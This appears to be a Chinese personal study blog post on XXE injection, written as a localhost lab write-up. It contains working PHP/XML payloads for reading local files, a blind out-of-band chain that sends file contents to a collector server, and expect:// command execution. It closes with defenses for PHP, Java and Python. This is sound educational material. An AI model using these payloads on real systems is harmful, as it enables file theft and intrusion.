XXE学习
Jun 8, 2018 09:54 · 261 words · 2 minute read
.
XML简介
- XML 指可扩展标记语言(_EX_tensible _M_arkup _L_anguage)
- XML 是一种_标记语言_,很类似 HTML
- XML 的设计宗旨是_传输数据_,而非显示数据
- XML 标签没有被预定义。您需要_自行定义标签_。
- XML 被设计为具有_自我描述性_。 W3C教程
XXE简介
XXE(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在允许加载外部实体,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
外部引用示例(SYSTEM)
第一种
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///C:/1.txt">
]>
<c>&content;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
第二种
1.php
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % content SYSTEM "http://127.0.0.1/1.dtd">
%content;
]>
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
1.dtd如下
<!ENTITY b SYSTEM "file:///C:/1.txt">
第三种
1.php
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE content SYSTEM "http://127.0.0.1/1.dtd">
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
1.dtd
<!ENTITY b SYSTEM "file:///C:/1.txt">
第三个没有试验成功,先记下来。
另外,不同程序支持的协议不一样
PHP | Java | .NET | libxml2 |
---|---|---|---|
file | http | file | file |
http | https | http | http |
ftp | ftp | ftp | ftp |
php | file | https | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
XXE复现
读取任意文件
文件代码如下
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % content SYSTEM "http://127.0.0.1/1.dtd">
%content;
]>
<c>&b;</c>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问该文件
127.0.0.1/1.php
SimpleXMLElement Object ( [b] => SimpleXMLElement Object ( [b] => yang!!!!!!!!!!!!!!ssssssssssssssssssssss ) )
无回显的情况下读取文件(blind XXE)
上面的利用是在页面有回显得情况下才可以利用的,如果页面没有回显,就需要利用带外信道提取数据。
简单说 就是将读取到的文件内容发送到自己的服务器上。
复现 上传的xml文件内容(45.php)
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % xml SYSTEM "http://192.168.10.119/yang.xml">
%xml;
%send;
]>
EOF;
// $data = simplexml_load_string(file_get_contents($xml));
$data = simplexml_load_string($xml);
print_r($data);
?>
服务器yang.xml代码
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://192.168.10.119/get.php?file=%file;'>"
>
%all;
服务器get.php代码
<?php
file_put_contents("/home/yang/yang.txt",$_GET['file']);
?>
访问上传的文件,读取的文件内容就会在服务器的yang.txt里记录下来。
PS:这里要注意yang.txt的权限。
执行系统命令
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "expect://dir">
]>
<a>&xxe;</a>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
这个需要php安装expect扩展。
探测内网
没有出现文章所说的报错,可能和php版本有关。
防御
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。